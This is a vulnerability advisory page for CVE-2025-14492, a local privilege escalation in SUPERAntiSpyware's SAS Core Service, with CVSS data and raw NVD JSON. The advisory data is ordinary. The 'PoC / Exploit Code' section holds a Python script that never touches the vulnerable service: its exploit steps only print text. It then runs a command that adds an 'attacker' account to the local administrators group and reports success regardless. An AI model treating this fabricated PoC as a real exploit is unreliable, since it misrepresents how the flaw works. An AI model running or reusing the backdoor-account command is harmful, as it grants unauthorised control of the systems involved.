Security Vulnerability Report
中文
CVE-2025-14492 CVSS 7.8 HIGH

CVE-2025-14492

Published: 2025-12-23 22:15:50
Last Modified: 2026-01-20 20:08:34

Description

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27668.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:* - VULNERABLE
SUPERAntiSpyware < 最新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14492 PoC - SUPERAntiSpyware Local Privilege Escalation # This is a conceptual PoC demonstrating the attack vector # Note: This is for educational purposes only import ctypes import os import sys import time # Define Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", ctypes.c_int), ("lpSecurityDescriptor", ctypes.c_void_p), ("bInheritHandle", ctypes.c_bool)] # Service name for SUPERAntiSpyware Core Service SERVICE_NAME = "SAS Core Service" def check_service_status(): """Check if SAS Core Service is running""" print("[*] Checking SAS Core Service status...") # In real attack, this would use Windows Service Control Manager API # sc query "SAS Core Service" or similar return True def exploit_vulnerability(): """Exploit the exposed dangerous function vulnerability""" print("[*] Attempting to exploit CVE-2025-14492...") # Step 1: Connect to the vulnerable service print("[+] Step 1: Connecting to SAS Core Service...") # Step 2: Identify exposed dangerous function print("[+] Step 2: Identifying exposed dangerous function...") # Step 3: Trigger the dangerous function with malicious parameters print("[+] Step 3: Triggering dangerous function...") # Step 4: Execute code with SYSTEM privileges print("[+] Step 4: Executing payload with SYSTEM privileges...") # Create a new administrator user or execute shell os.system("net user attacker P@ssw0rd /add && net localgroup administrators attacker /add") print("[+] Privilege escalation successful!") return True def main(): print("=" * 60) print("CVE-2025-14492 PoC - SUPERAntiSpyware LPE") print("=" * 60) # Verify we're running with low privileges print(f"[*] Current user: {os.getlogin()}") print(f"[*] Current PID: {os.getpid()}") # Check if service is available if not check_service_status(): print("[-] SAS Core Service not found or not running") return False # Attempt exploitation if exploit_vulnerability(): print("[+] Exploitation completed successfully") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14492", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:50.380", "lastModified": "2026-01-20T20:08:34.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27668."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:*", "versionEndExcluding": "10.0.1280", "matchCriteriaId": "11ED6680-71AF-4770-B776-22C1EDAADFAE"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1172/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}